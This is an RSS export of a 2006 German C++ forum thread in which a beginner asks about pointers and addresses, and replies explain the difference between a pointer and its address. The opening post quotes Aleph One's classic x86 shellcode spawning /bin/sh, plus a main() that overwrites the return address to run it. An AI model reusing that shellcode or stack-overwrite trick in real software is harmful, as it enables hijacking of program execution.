<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[einige fragen zu typumwandlungen&#x2F;adressen etc.]]></title><description><![CDATA[<p>ich habe mal das hier eingegeben und erschreckendes festgestellt!<br />
1.)</p>
<pre><code class="language-cpp">int *ret;
cout&lt;&lt;&amp;ret&lt;&lt;endl; //0xbf947ab8
cout&lt;&lt;ret&lt;&lt;endl; //0xbf947ac8
</code></pre>
<p>genau wie das:<br />
2.)</p>
<pre><code class="language-cpp">nt *ret;
ret = new int(5);
cout&lt;&lt;&amp;ret&lt;&lt;endl; //0xbfc2429c
cout&lt;&lt;ret&lt;&lt;endl; //0x805a880
cout&lt;&lt;*ret&lt;&lt;endl; //5
</code></pre>
<p>oder das:<br />
3.)</p>
<pre><code class="language-cpp">char* string = &quot;hallo&quot;;
int adresse = reinterpret_cast&lt;int&gt;(string); 
cout&lt;&lt;&quot;adresse von string &quot;&lt;&lt;adresse&lt;&lt;&quot; = &quot;&lt;&lt;&amp;string&lt;&lt;endl;

char* stringCopy = reinterpret_cast&lt;char*&gt;(adresse);
cout&lt;&lt;&quot;adresse von stringCopy = &quot;&lt;&lt;&amp;stringCopy&lt;&lt;endl;
cout&lt;&lt;stringCopy&lt;&lt;endl;
</code></pre>
<p>3.)<br />
also ich finde es sehr eigenartig, dass zwei zeiger auf unterschiedliche adressen zeigen, aber trotzdem den selben inhalt haben!!!</p>
<p>2.) und 1.) dann finde ich die unterschiedliche adresse sehr eigenartig! eigentlich -dachte ich zumindest- ist der zeiger nur eine adresse, und auf den inhalt kommt man nur mit dem dereferenzierungsoperator?!</p>
<p>und jetzt verurteilt micht nicht wegen diesem code aus dem unixboard!!!</p>
<pre><code class="language-cpp">/* By Aleph One */
char shellcode[] =
	&quot;\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00&quot;
	&quot;\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80&quot;
	&quot;\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff&quot;
	&quot;\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3&quot;;

void main() {
   int *ret;

   ret = (int *)&amp;ret + 2;
   (*ret) = (int)shellcode;

}
</code></pre>
<p>ich dachte folglich also immer dass</p>
<pre><code class="language-cpp">ret = (int *)&amp;ret + 2;
</code></pre>
<p>das selbe ist wie</p>
<pre><code class="language-cpp">ret = (int *)ret + 2;
</code></pre>
<p>aber letzeres führt zu nem fehler!!</p>
<p>dass heißt folglich, ich habe die ganze zeigerproblematik NICHT verstanden!!! <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f61e.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--disappointed_face"
      title=":("
      alt="😞"
    /></p>
<p>könnte mir einer bitte mal eine aufklärung geben!</p>
<p>MFG @all</p>
]]></description><link>https://www.c-plusplus.net/forum/topic/162119/einige-fragen-zu-typumwandlungen-adressen-etc</link><generator>RSS for Node</generator><lastBuildDate>Sat, 12 Sep 2026 03:03:25 GMT</lastBuildDate><atom:link href="https://www.c-plusplus.net/forum/topic/162119.rss" rel="self" type="application/rss+xml"/><pubDate>Sat, 14 Oct 2006 23:09:46 GMT</pubDate><ttl>60</ttl><item><title><![CDATA[Reply to einige fragen zu typumwandlungen&#x2F;adressen etc. on Sat, 14 Oct 2006 23:09:46 GMT]]></title><description><![CDATA[<p>ich habe mal das hier eingegeben und erschreckendes festgestellt!<br />
1.)</p>
<pre><code class="language-cpp">int *ret;
cout&lt;&lt;&amp;ret&lt;&lt;endl; //0xbf947ab8
cout&lt;&lt;ret&lt;&lt;endl; //0xbf947ac8
</code></pre>
<p>genau wie das:<br />
2.)</p>
<pre><code class="language-cpp">nt *ret;
ret = new int(5);
cout&lt;&lt;&amp;ret&lt;&lt;endl; //0xbfc2429c
cout&lt;&lt;ret&lt;&lt;endl; //0x805a880
cout&lt;&lt;*ret&lt;&lt;endl; //5
</code></pre>
<p>oder das:<br />
3.)</p>
<pre><code class="language-cpp">char* string = &quot;hallo&quot;;
int adresse = reinterpret_cast&lt;int&gt;(string); 
cout&lt;&lt;&quot;adresse von string &quot;&lt;&lt;adresse&lt;&lt;&quot; = &quot;&lt;&lt;&amp;string&lt;&lt;endl;

char* stringCopy = reinterpret_cast&lt;char*&gt;(adresse);
cout&lt;&lt;&quot;adresse von stringCopy = &quot;&lt;&lt;&amp;stringCopy&lt;&lt;endl;
cout&lt;&lt;stringCopy&lt;&lt;endl;
</code></pre>
<p>3.)<br />
also ich finde es sehr eigenartig, dass zwei zeiger auf unterschiedliche adressen zeigen, aber trotzdem den selben inhalt haben!!!</p>
<p>2.) und 1.) dann finde ich die unterschiedliche adresse sehr eigenartig! eigentlich -dachte ich zumindest- ist der zeiger nur eine adresse, und auf den inhalt kommt man nur mit dem dereferenzierungsoperator?!</p>
<p>und jetzt verurteilt micht nicht wegen diesem code aus dem unixboard!!!</p>
<pre><code class="language-cpp">/* By Aleph One */
char shellcode[] =
	&quot;\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00&quot;
	&quot;\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80&quot;
	&quot;\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff&quot;
	&quot;\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3&quot;;

void main() {
   int *ret;

   ret = (int *)&amp;ret + 2;
   (*ret) = (int)shellcode;

}
</code></pre>
<p>ich dachte folglich also immer dass</p>
<pre><code class="language-cpp">ret = (int *)&amp;ret + 2;
</code></pre>
<p>das selbe ist wie</p>
<pre><code class="language-cpp">ret = (int *)ret + 2;
</code></pre>
<p>aber letzeres führt zu nem fehler!!</p>
<p>dass heißt folglich, ich habe die ganze zeigerproblematik NICHT verstanden!!! <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f61e.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--disappointed_face"
      title=":("
      alt="😞"
    /></p>
<p>könnte mir einer bitte mal eine aufklärung geben!</p>
<p>MFG @all</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1154898</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1154898</guid><dc:creator><![CDATA[dgrat]]></dc:creator><pubDate>Sat, 14 Oct 2006 23:09:46 GMT</pubDate></item><item><title><![CDATA[Reply to einige fragen zu typumwandlungen&#x2F;adressen etc. on Sat, 14 Oct 2006 23:20:07 GMT]]></title><description><![CDATA[<p>anmerkung: an sich würde ich nur gerne wissen warum es nicht geht</p>
<pre><code class="language-cpp">int *pt;
&amp;pt = new int(5);
</code></pre>
<p>zu machen...</p>
<p>und was der unterschied zwischen: &quot;&amp;pt und nur pt&quot; ist! wo doch beide bei einem cout sowas wie eine adresse ausgeben! bisher habe ich es nur immer so gemacht, dass ich keine fehler bekommen habe! aber ich würde gerne wissen, warum die zeiger funktionieren! <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f615.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--confused_face"
      title=":confused:"
      alt="😕"
    /></p>
]]></description><link>https://www.c-plusplus.net/forum/post/1154900</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1154900</guid><dc:creator><![CDATA[dgrat]]></dc:creator><pubDate>Sat, 14 Oct 2006 23:20:07 GMT</pubDate></item><item><title><![CDATA[Reply to einige fragen zu typumwandlungen&#x2F;adressen etc. on Sun, 15 Oct 2006 00:11:58 GMT]]></title><description><![CDATA[<pre><code class="language-cpp">int foo;
std::cout &lt;&lt; &quot;foo: &quot; &lt;&lt; foo &lt;&lt; '\n'
          &lt;&lt; &quot;_Adresse_ von foo: &quot; &lt;&lt; &amp;foo;
</code></pre>
<p>Darüber solltest du mal meditieren.</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1154911</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1154911</guid><dc:creator><![CDATA[finix]]></dc:creator><pubDate>Sun, 15 Oct 2006 00:11:58 GMT</pubDate></item><item><title><![CDATA[Reply to einige fragen zu typumwandlungen&#x2F;adressen etc. on Sun, 15 Oct 2006 08:29:52 GMT]]></title><description><![CDATA[<pre><code class="language-cpp">int foo;
std::cout &lt;&lt; &quot;foo: &quot; &lt;&lt; foo &lt;&lt; '\n'
          &lt;&lt; &quot;_Adresse_ von foo: &quot; &lt;&lt; &amp;foo;
</code></pre>
<p>inhalt von foo, dann adresse von foo!</p>
<p>aber:</p>
<pre><code class="language-cpp">int *foo;
std::cout &lt;&lt; &quot;foo: &quot; &lt;&lt; foo &lt;&lt; '\n'
          &lt;&lt; &quot;_Adresse_ von foo: &quot; &lt;&lt; &amp;foo;
</code></pre>
<p>dann wäre das aber der inhalt und dann wieder die adresse?! aber das kann doch nicht sein, weil man nur an den inhalt kommt, wenn man dereferenziert?!<br />
also</p>
<pre><code class="language-cpp">int *foo;
std::cout &lt;&lt; &quot;foo: &quot; &lt;&lt; *foo &lt;&lt; '\n'
          &lt;&lt; &quot;_Adresse_ von foo: &quot; &lt;&lt; foo;
</code></pre>
<p>KURIOS</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1154952</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1154952</guid><dc:creator><![CDATA[dgrat]]></dc:creator><pubDate>Sun, 15 Oct 2006 08:29:52 GMT</pubDate></item><item><title><![CDATA[Reply to einige fragen zu typumwandlungen&#x2F;adressen etc. on Sun, 15 Oct 2006 08:31:53 GMT]]></title><description><![CDATA[<p>ich habs!</p>
<pre><code class="language-cpp">int *foo;
cout&lt;&lt;foo; //adresse des pointer
cout&lt;&lt;&amp;foo; //adresse auf was foo zeigt?!
</code></pre>
<p>kann das sein?</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1154953</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1154953</guid><dc:creator><![CDATA[dgrat]]></dc:creator><pubDate>Sun, 15 Oct 2006 08:31:53 GMT</pubDate></item><item><title><![CDATA[Reply to einige fragen zu typumwandlungen&#x2F;adressen etc. on Sun, 15 Oct 2006 09:04:44 GMT]]></title><description><![CDATA[<p>andersrum</p>
<pre><code>int *foo;
cout&lt;&lt;foo; //adresse auf was foo zeigt?!
cout&lt;&lt;&amp;foo; //adresse des pointer
</code></pre>
]]></description><link>https://www.c-plusplus.net/forum/post/1154967</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1154967</guid><dc:creator><![CDATA[YASC]]></dc:creator><pubDate>Sun, 15 Oct 2006 09:04:44 GMT</pubDate></item><item><title><![CDATA[Reply to einige fragen zu typumwandlungen&#x2F;adressen etc. on Sun, 15 Oct 2006 19:46:15 GMT]]></title><description><![CDATA[<p>super, jetzt verstehe ich endlich, diese recht interessante typumwandlung!!!</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1155272</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1155272</guid><dc:creator><![CDATA[dgrat]]></dc:creator><pubDate>Sun, 15 Oct 2006 19:46:15 GMT</pubDate></item></channel></rss>